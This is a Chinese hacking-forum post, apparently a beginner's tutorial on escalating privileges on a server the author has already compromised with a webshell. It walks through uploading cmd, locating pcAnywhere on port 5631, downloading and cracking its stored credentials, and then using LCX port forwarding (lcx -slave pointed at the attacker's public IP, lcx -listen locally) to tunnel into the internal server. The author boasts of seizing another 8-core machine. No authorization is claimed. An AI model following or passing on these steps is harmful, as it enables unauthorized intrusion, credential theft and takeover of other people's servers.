  
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的,像我这样的小菜没有这么好的命,我在用pcanywhere提权时问题总是多多,所以我今天做个在内网连接pcanywhere的简单教程。
6 @; ~* X* i/ j( G- Q% B- i& M5 ^+ r' P3 y4 e$ o; I
提权方法:pcanywhere+LCX+ X; m0 O- a: f2 \: V
, g J3 ^6 R# L. W$ j获得webshell的过程就不说了,该篇教程主要给新手讲下提权的思路。& b1 i+ r. Q# M
5 Q4 ]: A4 s8 x8 F
在shell里看了下,WScript.shell等重要的组件没有被禁用,首先在有可执行读写权限的目录,上传个cmd试下可以运行。
4 c" G5 T8 V9 a. s8 h7 n. }' A0 u$ w% N b( z* R- U6 W* m* S. A
( E) t5 {1 M+ `+ t6 r+ I查看服务器开的端口时,发现服务器开了80、1433、5631等端口,并且服务器在内网。5 _/ }" ?: C' C5 m* S
" J- C( F- \/ @; r; F' ~' ^6 `
. ]8 G$ \: \; v呵呵```pcanywhere的端口为5631,既然该站点有pcanywhere,我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件,下载到本地计算机上破解,呵呵```账号密码出来了。/ x* ^ O" U1 a6 u
5 n$ \; W, y, ]4 j! ?3 K( w
- w! c3 A! v; p/ S0 J4 b! N. y0 i4 j1 f3 P4 G) R
0 D1 H! Z' D0 K/ }; V* S
由于服务器在内网,那我们就要做端口转发,又要用到LCX啦``- g3 S# k: G7 b' p( x7 v: n1 k* t
4 Y7 o, _( X. P' n1 s
" c% C: B' ]& u# x! Q
LCX的用法再简单说下:
: w6 P0 w3 F- d' p& T, I5 s( X' U) l6 t1 O5 Y
服务器上运行:lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX(服务器ip) XXXX(服务器需要转发出去的端口)
$ |( v& Z9 e2 e# s0 E" B; N' k8 ^
! E" Q% {* m- ?# k8 o: z" g6 h; _本地计算机上运行:lcx -listen XX(端口号) XXX(在自己机器上指定的端口)& P/ G+ k3 r* q% Y4 f
l1 J. g8 n% P! x4 h: D, z
由于我的机器也在内网,LCX 转发端口到本地必须用公网ip,所以我还需要在路由器上简单设置下。
' A% r4 l; f, t& h( x, W- l& f顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``
. z& E' q; H1 \7 ^8 O3 c- W4 h- m- l. ?2 R* W
3 O- i }$ V: M; {+ T+ K- x8 ^4 r9 z; R/ P
% q$ @: V! u- N
呵呵``在连接的过程中出现个小问题,由于我用的是pcanyshell10.5的版本,在连接的时候提示版本过低,那我们就用12.0的版本试下。
1 B4 \4 B% m$ m0 j' @. M7 M" }( X; z0 C9 E3 e5 _/ A
0 Z- W+ B. Y* i1 U+ ^6 v2 G. l" f! _8 K2 A& B) U& f
# Y% x) {, W* B& q我们本地连接试试,输入我们刚破解的账号密码
, y( ?4 t4 ?" O
" m& \) U7 ^" E0 H: U, r9 v' ^8 S7 |' h
呵呵``连接成功,服务器不错,又一个8核^︵^
9 ]: B" t+ f8 T# `0 @* q. P" ^/ f" M2 H
: V! @9 {; O0 O2 q Q7 L* z
6 I# N, W8 p$ R9 O
|
附件: 您需要登录才可以下载或查看附件。没有帐号?注册
-
1
评分人数
-
|